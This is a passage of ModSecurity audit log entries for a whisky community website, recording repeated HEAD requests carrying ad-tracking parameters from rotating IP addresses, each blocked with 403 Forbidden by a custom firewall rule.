Stopwatch2: 1789273905326794 6000; combined=4463, p1=235, p2=3810, p3=64, p4=6, p5=348, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--62f66569-Z--

--98c19422-A--
[13/Sep/2026:07:31:45.717842 +0300] aqYnMWM7dE9KgIIOpQhihAAAANI 95.134.102.117 40960 127.0.0.1 7081
--98c19422-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--98c19422-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--98c19422-E--

--98c19422-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273905712097 5799 (- - -)
Stopwatch2: 1789273905712097 5799; combined=4277, p1=213, p2=3704, p3=65, p4=7, p5=288, sr=87, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--98c19422-Z--

--854a4366-A--
[13/Sep/2026:07:31:50.772982 +0300] aqYnNmM7dE9KgIIOpQhihgAAAMU 91.124.31.238 40966 127.0.0.1 7081
--854a4366-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.238
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--854a4366-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--854a4366-E--

--854a4366-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273910765655 7374 (- - -)
Stopwatch2: 1789273910765655 7374; combined=4645, p1=336, p2=3915, p3=67, p4=7, p5=319, sr=124, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--854a4366-Z--

--5d771633-A--
[13/Sep/2026:07:31:51.079458 +0300] aqYnN2M7dE9KgIIOpQhihwAAANc 91.124.31.125 40972 127.0.0.1 7081
--5d771633-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.125
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--5d771633-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--5d771633-E--

--5d771633-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273911073564 5940 (- - -)
Stopwatch2: 1789273911073564 5940; combined=4361, p1=261, p2=3715, p3=74, p4=7, p5=304, sr=115, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5d771633-Z--

--f265893a-A--
[13/Sep/2026:07:31:51.165913 +0300] aqYnN0wu1RSkptiiNIXwCAAAAJE 46.203.158.94 40984 127.0.0.1 7081
--f265893a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.94
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f265893a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f265893a-E--

--f265893a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273911157675 8294 (- - -)
Stopwatch2: 1789273911157675 8294; combined=6416, p1=256, p2=5696, p3=83, p4=8, p5=373, sr=117, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f265893a-Z--

--70490653-A--
[13/Sep/2026:07:31:51.351276 +0300] aqYnN2M7dE9KgIIOpQhiiAAAAM0 95.134.102.138 40994 127.0.0.1 7081
--70490653-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.138
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--70490653-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--70490653-E--

--70490653-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273911345058 6270 (- - -)
Stopwatch2: 1789273911345058 6270; combined=4582, p1=243, p2=3912, p3=131, p4=11, p5=285, sr=95, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--70490653-Z--

--7891c96a-A--
[13/Sep/2026:07:31:52.740340 +0300] aqYnOEwu1RSkptiiNIXwCwAAAIo 151.243.174.13 41084 127.0.0.1 7081
--7891c96a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.13
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--7891c96a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--7891c96a-E--

--7891c96a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273912732288 8126 (- - -)
Stopwatch2: 1789273912732288 8126; combined=6140, p1=391, p2=5188, p3=82, p4=8, p5=471, sr=137, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7891c96a-Z--

--c200c21e-A--
[13/Sep/2026:07:31:53.136607 +0300] aqYnOUwu1RSkptiiNIXwDQAAAJc 95.134.102.244 41098 127.0.0.1 7081
--c200c21e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.244
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--c200c21e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--c200c21e-E--

--c200c21e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273913131062 5612 (- - -)
Stopwatch2: 1789273913131062 5612; combined=4104, p1=213, p2=3550, p3=59, p4=6, p5=276, sr=90, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c200c21e-Z--

--0b94612d-A--
[13/Sep/2026:07:31:53.514206 +0300] aqYnOWM7dE9KgIIOpQhijQAAANU 95.134.102.223 41114 127.0.0.1 7081
--0b94612d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.223
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--0b94612d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--0b94612d-E--

--0b94612d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273913500699 13574 (- - -)
Stopwatch2: 1789273913500699 13574; combined=19226, p1=230, p2=3902, p3=65, p4=6, p5=7648, sr=94, sw=0, l=0, gc=7375
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0b94612d-Z--

--ea8c3e77-A--
[13/Sep/2026:07:32:00.133417 +0300] aqYnQEwu1RSkptiiNIXwDwAAAIs 151.243.174.215 33998 127.0.0.1 7081
--ea8c3e77-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.215
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--ea8c3e77-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--ea8c3e77-E--

--ea8c3e77-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273920112684 20774 (- - -)
Stopwatch2: 1789273920112684 20774; combined=10855, p1=3408, p2=7077, p3=91, p4=10, p5=268, sr=2249, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ea8c3e77-Z--

--4074f70a-A--
[13/Sep/2026:07:32:00.392574 +0300] aqYnQGM7dE9KgIIOpQhikAAAAMo 151.243.174.229 34002 127.0.0.1 7081
--4074f70a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.229
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--4074f70a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--4074f70a-E--

--4074f70a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273920384485 8173 (- - -)
Stopwatch2: 1789273920384485 8173; combined=6149, p1=391, p2=5294, p3=98, p4=10, p5=355, sr=140, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4074f70a-Z--

--6d02986f-A--
[13/Sep/2026:07:32:00.406401 +0300] aqYnQEwu1RSkptiiNIXwEAAAAJU 95.134.102.153 34006 127.0.0.1 7081
--6d02986f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.153
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--6d02986f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6d02986f-E--

--6d02986f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273920399227 7216 (- - -)
Stopwatch2: 1789273920399227 7216; combined=5333, p1=259, p2=4687, p3=83, p4=8, p5=296, sr=112, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6d02986f-Z--

--65eb4643-A--
[13/Sep/2026:07:32:14.584008 +0300] aqYnTmM7dE9KgIIOpQhilwAAANY 91.124.31.4 43238 127.0.0.1 7081
--65eb4643-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.4
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--65eb4643-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--65eb4643-E--

--65eb4643-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273934577587 6469 (- - -)
Stopwatch2: 1789273934577587 6469; combined=4774, p1=296, p2=4106, p3=72, p4=7, p5=293, sr=120, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--65eb4643-Z--

--822a843f-A--
[13/Sep/2026:07:32:14.850159 +0300] aqYnTmM7dE9KgIIOpQhimAAAANA 46.203.158.220 43254 127.0.0.1 7081
--822a843f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.220
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--822a843f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--822a843f-E--

--822a843f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273934844800 5399 (- - -)
Stopwatch2: 1789273934844800 5399; combined=3961, p1=226, p2=3429, p3=65, p4=6, p5=235, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--822a843f-Z--

--204f4b53-A--
[13/Sep/2026:07:32:15.501394 +0300] aqYnT2M7dE9KgIIOpQhimQAAANU 46.203.158.126 43258 127.0.0.1 7081
--204f4b53-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.126
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--204f4b53-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--204f4b53-E--

--204f4b53-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273935494179 7268 (- - -)
Stopwatch2: 1789273935494179 7268; combined=5157, p1=277, p2=4498, p3=94, p4=8, p5=280, sr=129, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--204f4b53-Z--

--1cfee871-A--
[13/Sep/2026:07:32:26.947139 +0300] aqYnWmM7dE9KgIIOpQhinAAAAMo 95.134.102.220 56004 127.0.0.1 7081
--1cfee871-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.220
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--1cfee871-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--1cfee871-E--

--1cfee871-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273946940151 7034 (- - -)
Stopwatch2: 1789273946940151 7034; combined=4438, p1=241, p2=3797, p3=101, p4=7, p5=292, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1cfee871-Z--

--b35eb158-A--
[13/Sep/2026:07:32:27.352273 +0300] aqYnWysVWymXUono-eRRWAAAAAc 151.243.174.22 56008 127.0.0.1 7081
--b35eb158-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.22
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--b35eb158-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--b35eb158-E--

--b35eb158-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273947346281 6030 (- - -)
Stopwatch2: 1789273947346281 6030; combined=4515, p1=262, p2=3927, p3=63, p4=7, p5=256, sr=128, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b35eb158-Z--

--25b08149-A--
[13/Sep/2026:07:32:27.730890 +0300] aqYnWysVWymXUono-eRRWQAAAAo 151.243.174.96 56016 127.0.0.1 7081
--25b08149-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.96
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--25b08149-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--25b08149-E--

--25b08149-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273947724649 6292 (- - -)
Stopwatch2: 1789273947724649 6292; combined=4573, p1=220, p2=3922, p3=115, p4=17, p5=299, sr=96, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--25b08149-Z--

--2c4cce4f-A--
[13/Sep/2026:07:32:30.559715 +0300] aqYnXmM7dE9KgIIOpQhingAAAMU 151.243.174.165 56048 127.0.0.1 7081
--2c4cce4f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.165
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--2c4cce4f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--2c4cce4f-E--

--2c4cce4f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273950553813 5961 (- - -)
Stopwatch2: 1789273950553813 5961; combined=4446, p1=260, p2=3798, p3=64, p4=6, p5=318, sr=111, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2c4cce4f-Z--

--04015434-A--
[13/Sep/2026:07:32:30.928188 +0300] aqYnXmM7dE9KgIIOpQhinwAAAMA 151.243.174.176 56058 127.0.0.1 7081
--04015434-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.176
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--04015434-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--04015434-E--

--04015434-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273950921441 6798 (- - -)
